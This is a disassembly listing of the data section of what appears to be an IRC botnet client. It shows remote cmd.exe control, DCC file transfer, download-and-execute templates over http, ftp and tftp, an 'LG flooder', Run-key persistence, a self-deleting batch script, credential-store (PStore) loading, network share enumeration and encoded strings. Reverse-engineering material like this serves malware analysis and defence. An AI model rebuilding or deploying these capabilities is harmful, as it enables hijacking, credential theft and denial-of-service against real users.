dword_41805C	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: .data:00418004o
		dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
		dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0
dword_418098	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: .data:off_418000o
		dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
		dd 0A68CCCA6h, 95h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h			; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h		; DATA XREF: sub_401E38+36o
					; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402A32+6B0o
dword_4184C0	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o
unk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402A32+C0o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0		; DATA XREF: sub_403260+43o
					; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h		; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C	dd 9EC09195h, 0D0A198ABh, 0B6B0BEADh, 8Fh, 0 ; DATA XREF: sub_4043E9+6o
dword_418A30	dd 2E3031h		; DATA XREF: sub_4041B7+56o
dword_418A34	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_4041B7+3Bo
dword_418A40	dd 2E323731h, 0		; DATA XREF: sub_4041B7+20o
dword_418A48	dd 2E373231h, 0		; DATA XREF: sub_4041B7+5o
dword_418A50	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_40D871+1CCo
					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah		; DATA XREF: sub_40435B+42o
dword_418A60	dd 7525h		; DATA XREF: sub_4055E5+458o
					; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo
					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; .data:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o
dword_418B54	dd 58323025h, 0		; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0		; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
dword_418B64	dd 7325h		; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset loc_418D98
		dd offset dword_418DA8
		dd offset dword_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset dword_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset dword_418C5C
		dd offset dword_418C6C
		dd offset dword_418C4C
		dd offset loc_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h
					; DATA XREF: .data:00418BE4o
		dd 0D1A28AE5h, 0ACF5BAh, 0
dword_418C10	dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BE0o
; ---------------------------------------------------------------------------

loc_418C24:				; DATA XREF: .data:00418BDCo
		mov	ds:0F4DCC796h, eax
		cdq
		scasd
		retf	0FFA1h
; ---------------------------------------------------------------------------
		dw 0F3B0h
		dd 0D48EB4B7h, 0D1F0C690h, 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h
		dd 87h,	0
dword_418C4C	dd 0C3D08A83h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418BD8o
dword_418C5C	dd 0DFD89691h, 90B889D4h, 0BBE8ADh, 0 ;	DATA XREF: .data:00418BD0o
dword_418C6C	dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh
					; DATA XREF: .data:00418BCCo
					; .data:00418BD4o
		dd 0EDh, 0
dword_418C88	dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BC8o
dword_418C9C	dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h
					; DATA XREF: .data:00418BC4o
		dd 0D2A29BEAh, 2 dup(0)
dword_418CBC	dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BC0o
dword_418CD0	dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0)	; DATA XREF: .data:00418BBCo
dword_418CE4	dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0 ; DATA XREF: .data:00418BB8o
dword_418CF4	dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0)
					; DATA XREF: .data:00418BB4o
dword_418D0C	dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BB0o
dword_418D20	dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BA8o
dword_418D34	dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h
					; DATA XREF: .data:00418BA4o
					; .data:00418BACo
		dd 0D1A78EFCh, 0A6h, 0
dword_418D54	dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0 ; DATA XREF:	.data:00418BA0o
dword_418D64	dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch
					; DATA XREF: .data:00418B9Co
		dd 0CC9EDAF8h, 0A0BBF3A7h, 88h,	0
dword_418D88	dd 0C3C59581h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418B98o
; ---------------------------------------------------------------------------

loc_418D98:				; DATA XREF: .data:00418B90o
		stosd
		xchg	eax, ebp
		setalc
		retn
; ---------------------------------------------------------------------------
		dd 0C6ABD4EEh, 0ADh, 0
dword_418DA8	dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h
					; DATA XREF: .data:off_418B8Co
					; .data:00418B94o
		dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0)
dword_418DD0	dd 0D1C4958Eh, 0C6ABD4EEh, 0ADh, 0 ; DATA XREF:	.data:off_418B88o
dword_418DE0	dd 293Ah		; DATA XREF: sub_406A23+9Co
dword_418DE4	dd 5Ch			; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_406B81+1Bo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h			; DATA XREF: sub_407928+4Co
					; sub_407928+96o ...
dword_418F50	dd 30h			; DATA XREF: sub_407E0C+CBo
					; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 9ED9958Fh, 0A395FEh,	0 ; DATA XREF: sub_408887+6o
; ---------------------------------------------------------------------------

loc_418F6C:				; DATA XREF: sub_408887+14o
		xchg	eax, ebp
		xchg	eax, ecx
		rcr	byte ptr [esi-33436017h], 0A9h
		mov	esi, 0FB96BCBDh
		xchg	eax, ebp
		retn
; ---------------------------------------------------------------------------
		dd 2 dup(0)
dword_418F84	dd 9ED9958Fh, 9FF9h, 0	; DATA XREF: sub_408887+22o
; ---------------------------------------------------------------------------

loc_418F90:				; DATA XREF: sub_408887+30o
		xchg	al, [edi-6B4C223Eh]
		stosd
		retf	0
; ---------------------------------------------------------------------------
		align 10h
dword_418FA0	dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0 ; DATA XREF:	sub_408887+3Eo
dword_418FB0	dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0	; DATA XREF: sub_408887+4Co
off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset loc_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h
					; DATA XREF: .data:00418FD8o
		dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h
		dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h
		dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h
		dd 2 dup(0)
dword_41903C	dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh
					; DATA XREF: .data:00418FD4o
		dd 0
dword_419054	dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h
					; DATA XREF: .data:00418FD0o
		dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh
		dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h
		dd 92AD9Eh, 0
dword_419098	dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h
					; DATA XREF: .data:00418FCCo
		dd 97F2h, 0
; ---------------------------------------------------------------------------

loc_4190B4:				; DATA XREF: .data:off_418FC8o
		xchg	al, [edi-604D2E3Dh]
		mov	al, ds:0B9F9AA91h
		cld
		cwde
		mov	al, ds:8887C385h
		retn
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h
		dd 0B6F0E2ADh, 0B083h, 0
dword_4190E8	dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh
					; DATA XREF: .data:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h			; DATA XREF: sub_4083AD:loc_4086C8o
					; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h		; DATA XREF: sub_408E8E+6r
					; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
